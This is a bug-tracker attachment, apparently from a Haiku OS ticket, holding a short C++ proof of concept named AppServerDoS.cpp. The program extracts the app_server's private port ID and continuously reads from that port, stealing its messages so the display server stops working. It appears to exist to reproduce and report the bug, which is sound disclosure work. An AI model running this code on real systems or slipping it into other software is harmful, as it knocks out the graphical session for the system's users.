Ticket #18674: AppServerDoS.cpp

File AppServerDoS.cpp, 460 bytes (added by X512, 6 months ago)
Line 
1#include <stdio.h>
2
3#include <Messenger.h>
4#include <OS.h>
5
6
7struct MessengerPrivate {
8 port_id port;
9 int32 handlerToken;
10 team_id team;
11
12 int32 reserved[3];
13};
14
15int main()
16{
17 BMessenger server("application/x-vnd.Haiku-app_server");
18 if (!server.IsValid())
19 return 1;
20
21 auto priv = reinterpret_cast<MessengerPrivate*>(&server);
22 printf("port: %" B_PRId32 "\n", priv->port);
23
24 int32 msg;
25 while (read_port(priv->port, &msg, NULL, 0) >= B_OK) {}
26
27 return 0;
28}